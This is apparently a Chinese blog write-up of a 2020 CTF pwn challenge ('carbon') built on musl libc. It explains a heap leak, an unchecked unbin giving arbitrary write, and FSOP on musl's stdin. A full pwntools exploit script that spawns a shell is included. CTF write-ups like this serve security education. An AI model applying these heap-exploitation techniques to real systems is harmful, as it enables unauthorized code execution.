2020 高校战“疫”网络安全分享赛 musl

因为2021 强网杯出了一道musl pwn,然后找到了这个题目,一起学习学习。

在这里插入图片描述
运行程序的话首先要装musl的驱动
在这里插入图片描述

在这里插入图片描述没有开pie。

刚开始先申请空间。
在这里插入图片描述在这里插入图片描述
空间是可读可写的。

assign
在这里插入图片描述
最多申请16个chunk,我们有一次溢出的机会。

destory
在这里插入图片描述
都清干净了。

transform
在这里插入图片描述
就改一下里面的内容。

examine
在这里插入图片描述
就是输出,但是只能有一次机会。

程序读完我们来看看musl libc的内容。

musl libc 是一个专门为嵌入式系统开发的轻量级 libc 库,以简单、轻量和高效率为特色。有不少 Linux 发行版将其设为默认的 libc 库,用来代替体积臃肿的 glibc 。

题目作者对题目的分析以及对musl libc与glibc异同的分析

题目作者已经将题目分析的很清楚了,我们再稍微做一些赘述。

首先利用的是musl静态堆内存管理来泄露libc地址。因为静态堆利用的是libc跟程序的空闲段,所以我们只要知道了某个chunk的地址,就可以得到libc或者程序基地址。

因为我们注意到的就是unlink是没有检查的,当然在musl中叫unbin。利用唯一能够用的一次堆溢出,我们要做一个unbin。
利用unbin来获得任意地址写。

有了libc,有了任意写,因为没有malloc_hook,只能FSOP,又注意它的IO_FILE不大一样,没有vtable指针,所以在利用的时候也要多注意。

exp

#!/usr/bin/env python2
from pwn import *

p = process("./carbon")

def alloc(sz, ctx='n', ans='N'):
    p.sendlineafter(">", '1')
    p.sendlineafter("What is your prefer size? >", str(sz))
    p.sendlineafter("Are you a believer? >", ans)
    p.sendafter("Say hello to your new sleeve >", ctx)

def free(idx):
    p.sendlineafter(">", '2')
    p.sendlineafter("What is your sleeve ID? >", str(idx))

def edit(idx, ctx):
    p.sendlineafter(">", '3')
    p.sendlineafter("What is your sleeve ID? >", str(idx))
    p.send(ctx)

def view(idx):
    p.sendlineafter(">", '4')
    p.sendlineafter("What is your sleeve ID? >", str(idx))
    return p.recvuntil("Done.", True)

alloc(0x1, 'A') #0

libc_base = u64(view(0).ljust(8, 'x00')) - 0x292e41

info("libc base: 0x%x", libc_base)
stdin   = libc_base + 0x292200
binmap  = libc_base + 0x292ac0
brk     = libc_base + 0x295050
bin     = libc_base + 0x292e40
system  = libc_base + 0x42688

# 1. construct fake chunks
alloc(0x10) #1
alloc(0x10) #2, prevent consolidation
alloc(0x10) #3
alloc(0x10) #4, prevent consolidation
alloc(0x10) #5
alloc(0x10) #6, prevent consolidation
alloc(0x10) #7
alloc(0x10) #8, prevent consolidation

free(1)
free(3)

payload  = 'X' * 0x10
payload += p64(0x21) * 2 + 'X' * 0x10
payload += p64(0x21) + p64(0x20) + p64(stdin - 0x10) * 2
payload += p8(0x20)
payload += 'n'

alloc(0x10, payload, 'Y')   #1
alloc(0x10)                 #3
free(1) # set as non-empty bin

edit(3, p64(binmap - 0x20) * 2)
alloc(0x10)             #1
free(5) # set as non-empty bin

edit(3, p64(brk - 0x10) * 2)
alloc(0x10)             #5
free(7) # set as non-empty bin

# 2. corrupt bin head and get arbitrary pointers
edit(3, p64(bin - 0x10) + p64(stdin - 0x10))
alloc(0x10) #7
alloc(0x50) #9

edit(3, p64(bin - 0x10) + p64(brk - 0x10))
alloc(0x10) #10
alloc(0x50) #11

edit(3, p64(bin - 0x10) + p64(binmap - 0x20))
alloc(0x10) #12
alloc(0x50) #13

# 3. corrupt stdin, binmap and brk
payload  = "/bin/shx00"    # stdin->flags
payload += 'X' * 0x20
payload += p64(0xdeadbeef)  # stdin->wpos
payload += 'X' * 8
payload += p64(0xbeefdead)  # stdin->wbase
payload += 'X' * 8
payload += p64(system)      # stdin->write

edit(9, payload) # stdin
edit(11, p64(0xbadbeef - 0x20) + 'n')  # brk
edit(13, 'X' * 0x10 + p64(0) + 'n')    # binmap

# 4. get shell
p.sendlineafter(">", '1')
p.sendlineafter("What is your prefer size? >", '0')

p.interactive()

exp用的是人家师傅的exp

要解释几句。
exp中首先我们分成两个部分。
首先第一个部分我们要伪造chunk。
所以我们要利用unbin在stdin等地方一直写写写。

然后我们劫持mal.bins,通过哟unbin的任意写,我们做到了一个任意chunk的malloc。
然后控制brk stdin bitmap
控制bitmap是要让里面的值都为0,制造没有可用chunk的假象,从而调用brk分配chunk。

exp中不停的穿插着0x10大小chunk的释放,那只是要控制bitmap而已。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值